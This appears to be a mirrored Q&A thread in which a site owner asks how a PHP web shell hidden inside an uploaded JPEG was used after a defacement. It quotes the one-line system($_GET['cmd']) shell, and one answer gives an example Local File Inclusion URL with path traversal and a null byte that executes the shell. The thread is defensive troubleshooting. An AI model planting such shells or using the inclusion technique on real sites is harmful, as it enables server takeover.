My php site was hacked by codes uploaded as image.

2019-02-01 14:55发布

问题:

Yesterday my site was comprised. The attacker changes the index.php file to their own (with all their glory messages and greet). I've notified the hosting company about this (we are running on a dedicated server), and on my part, I'm trying to fix anything that seems to be the cause, cause I'm still unable to point how exactly did our server was attacked, but I think I've found certain script-based loopholes that could possibly be the culprit.

Our site has an image uploader form, but all uploaded images are verified if they're indeed image file and not some codes by using php getimagesize function. Only if the image type is IMAGETYPE_GIF, or IMAGETYPE_JPEG, or IMAGETYPE_PNG will they be accepted. Else, they won't be able to upload the file. However I found out that one uploaded image file contains a php script inside it! You can download the image here. It's a valid image file, but try opening the image using any text editor and you will find a php code inside it:

<?php

echo "<pre>"; system($_GET['cmd']); echo "</pre>";

?>

For example, the image is uploaded to this location (www.mysite.com/uploads/picodes.jpg). Take note that folder uploads' permission is 755. Is there any way in the world the attacker can execute the system (or any other command such as passthru, since we found out another image has the same code hidden as above, but instead of system, it has passthru command), by just for example, typing www.mysite.com/uploads/picodes.jpg?cmd=some command ?? From my knowledge it can't be done (really appreciate it if someone can prove me wrong), unless the attacker can rename the jpg file to php, and even that, these codes are hidden deep inside the image (please see the image inside text editor to understand what I'm trying to say)

For precautions, I've disabled these php functions (exec, passthru, proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system) by adding them on the disable_functions in php.ini.

Anyway I still think that the attacker gains access not through web, but through server exploit, but I think my hosting company thinks otherwise.

回答1:

Image file with arbitrary PHP code can't be exploited with direct request to it, e.g. http://www.mysite.com/uploads/image.jpg?cmd=somecode.

Still, it can be used with Local File Inclusion vulnerability.

For example, in index.php you use include('pages/' . $_GET['page'] . '.php');, then attacker can upload image with PHP code inside and execute commands with smth like this: http://www.mysite.com/index.php?page=../upload/image.jpg?cmd=somecode%00

UPD: changed file in URL to page



回答2:

JPEG files can contain arbitrary data in them in addition to the actual image data; it's part of the spec. Thus, merely checking if an image is a valid JPEG does not mean that the file is necessarily completely harmless.



回答3:

This may not be a vulnerability in your code. I had the same thing happen to me a few weeks ago. Although ALL my index.php files were removed, even ones not directly web accessible. In my case, it was a security hole in Linux. Not anything to do with my code. This was the reply from my hosting provider (A2Hosting), regarding the problem. Once I convinced them it wasn't anything I did, they figure things out pretty quickly.

"A recent exploit in the Linux kernel was used to grant administrative (root) access to users' directories on the server. The attack consisted of removing index files found in directories and replacing them with the attacker's desired content: A black web page with the attacker's code name, "iSKORPiTX (Turkish Hacker)". This hack was massive across the internet and used a previously unknown vulnerability, limiting our ability in preventing it."



回答4:

My image file up-loader setting are: upload file to temp folder, creat new image using imagecreatefromjpeg or imagecreatefrompng or imagecreatefromgif and save, delete uploaded file from temp folder (all these stuff happening within same script action, so file uploaded in temp folder does not exist for long time)